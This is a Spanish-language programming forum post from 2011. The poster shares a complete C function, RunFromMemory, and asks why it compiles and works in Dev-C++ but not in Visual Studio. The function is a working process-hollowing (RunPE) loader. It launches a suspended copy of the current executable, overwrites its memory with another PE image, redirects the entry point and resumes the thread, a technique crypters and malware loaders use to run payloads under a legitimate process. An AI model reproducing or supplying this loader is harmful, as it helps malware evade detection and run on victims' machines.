Ver Mensaje Individual
  #4 (permalink)  
Antiguo 17/11/2011, 17:33
Apeiron
 
Fecha de Ingreso: agosto-2011
Mensajes: 17
Antigüedad: 12 años, 8 meses
Puntos: 0
Respuesta: Compilar con IDE's distintos

Código:
void RunFromMemory(char* pImage)
{
	DWORD dwWritten = 0;
	DWORD dwHeader = 0; 
	DWORD dwImageSize = 0;
	DWORD dwSectionCount = 0;
	DWORD dwSectionSize = 0;
	DWORD firstSection = 0;
	DWORD previousProtection = 0;
	DWORD jmpSize = 0;

	IMAGE_NT_HEADERS INH;
	IMAGE_DOS_HEADER IDH;
	IMAGE_SECTION_HEADER Sections[1000];

	PROCESS_INFORMATION peProcessInformation;
	STARTUPINFO peStartUpInformation;
	CONTEXT pContext;

	char* pMemory;
	char* pFile;
	char pPath[MAX_PATH];

	
		GetModuleFileName(NULL,pPath,MAX_PATH);
		char* lfMemory;
		int fSize;
		FILE* pLocalFile = fopen(pPath,"rb");
		fseek(pLocalFile,0,SEEK_END);
		fSize = ftell(pLocalFile);
		rewind(pLocalFile);
		lfMemory = (char*)malloc(fSize);
		fread(lfMemory,1,fSize,pLocalFile);
		fclose(pLocalFile);
		memcpy(&IDH,lfMemory,sizeof(IDH));
		memcpy(&INH,(void*)((DWORD)lfMemory+IDH.e_lfanew),sizeof(INH));
		free(lfMemory);
	
	DWORD localImageBase = INH.OptionalHeader.ImageBase;
	DWORD localImageSize = INH.OptionalHeader.SizeOfImage;

	memcpy(&IDH,pImage,sizeof(IDH));
	memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));
		
	dwImageSize = INH.OptionalHeader.SizeOfImage;
	pMemory = (char*)malloc(dwImageSize);
	memset(pMemory,0,dwImageSize);
	pFile = pMemory;

	dwHeader = INH.OptionalHeader.SizeOfHeaders;
	firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
	memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);

	memcpy(pFile,pImage,dwHeader);

	if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
		jmpSize = INH.OptionalHeader.SizeOfHeaders;
	else
	{
		jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
		jmpSize += 1;
		jmpSize *= INH.OptionalHeader.SectionAlignment;
	}

	pFile = (char*)((DWORD)pFile + jmpSize);

	for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
	{
		jmpSize = 0;
		dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
		memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);
		
		if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
			jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
		else
		{
			jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
			jmpSize += 1;
			jmpSize *= INH.OptionalHeader.SectionAlignment;
		}
		pFile = (char*)((DWORD)pFile + jmpSize);
	}


	memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
	memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
	memset(&pContext,0,sizeof(CONTEXT));

	peStartUpInformation.cb = sizeof(peStartUpInformation);
	if(CreateProcess(NULL,pPath,NULL,NULL,0,CREATE_SUSPENDED, NULL,NULL,&peStartUpInformation,&peProcessInformation))
	{
		pContext.ContextFlags = CONTEXT_FULL;
		GetThreadContext(peProcessInformation.hThread,&pContext);
		if(INH.OptionalHeader.ImageBase==localImageBase&&INH.OptionalHeader.SizeOfImage<=localImageSize)
			VirtualProtectEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
		else
		{
			NtUnmapViewOfSection(peProcessInformation.hProcess,(PVOID)(localImageBase));
                        VirtualAllocEx(peProcessInformation.hProcess,(LPVOID)(INH.OptionalHeader.ImageBase),dwImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
		}
		WriteProcessMemory(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
		WriteProcessMemory(peProcessInformation.hProcess,(void*)(pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
		pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
		SetThreadContext(peProcessInformation.hThread,&pContext);
		VirtualProtectEx(peProcessInformation.hProcess,(void*)(INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
		ResumeThread(peProcessInformation.hThread);
	}
	free(pMemory);
}
Bueno pues este es el codigo. No entiendo por que funciona perfectamente en dev c++ y en Visual Studio no...